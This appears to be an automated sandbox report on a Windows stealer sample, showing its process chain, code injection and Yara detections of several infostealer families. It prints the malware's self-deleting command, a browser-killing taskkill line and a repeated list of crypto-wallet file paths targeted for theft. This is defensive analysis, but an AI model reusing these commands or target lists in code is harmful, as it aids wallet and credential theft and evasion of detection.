Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEFAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CEFAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2a79a10743.exe PID: 8688, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe

Memory written: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe base: 140000000 value starts with: 4D5A

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe

Thread register set: target process: 8136

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFBKFBGII.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBFBKFBGII.exe "C:\Users\user\Documents\EBFBKFBGII.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe "C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe "C:\Users\user~1\AppData\Local\Temp\1012999001\2a79a10743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe "C:\Users\user~1\AppData\Local\Temp\1013000001\c679ee9018.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process created: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\1012997001\Ed7zZr4.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF44760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF44760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE21C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CE21C30

Source: c679ee9018.exe, 00000022.00000000.2483923600.0000000000D42000.00000002.00000001.01000000.00000012.sdmp, random[1].exe1.23.dr, c679ee9018.exe.23.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: bbbef9e2c3.exe, 0000001B.00000002.2505297929.00000000006D1000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: nProgram Manager
Source: EBFBKFBGII.exe, 00000013.00000002.1895632410.000000000091F000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000014.00000002.1934475223.0000000000A2F000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2510205901.0000000000A2F000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: IProgram Manager
Source: file.exe, file.exe, 00000000.00000002.1866294987.00000000004C0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: TProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEFAE71 cpuid

0_2_6CEFAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation TimeZoneKeyName

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEFA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CEFA8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_00832517 GetTimeZoneInformation,

23_2_00832517

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE48390 NSS_GetVersion,

0_2_6CE48390

Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.7f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.EBFBKFBGII.exe.6e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.skotes.exe.7f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.1893946605.00000000006E1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2504429791.00000000007F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1933021027.00000000007F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: Ed7zZr4.exe PID: 8136, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: bbbef9e2c3.exe PID: 4736, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 26.2.Ed7zZr4.exe.140000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Ed7zZr4.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2433470637.0000022BC7C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2432809587.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ed7zZr4.exe PID: 8136, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1865897595.00000000000F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1867314381.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2478015270.0000000000131000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2434655833.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1262676419.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2a79a10743.exe PID: 8688, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7308, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
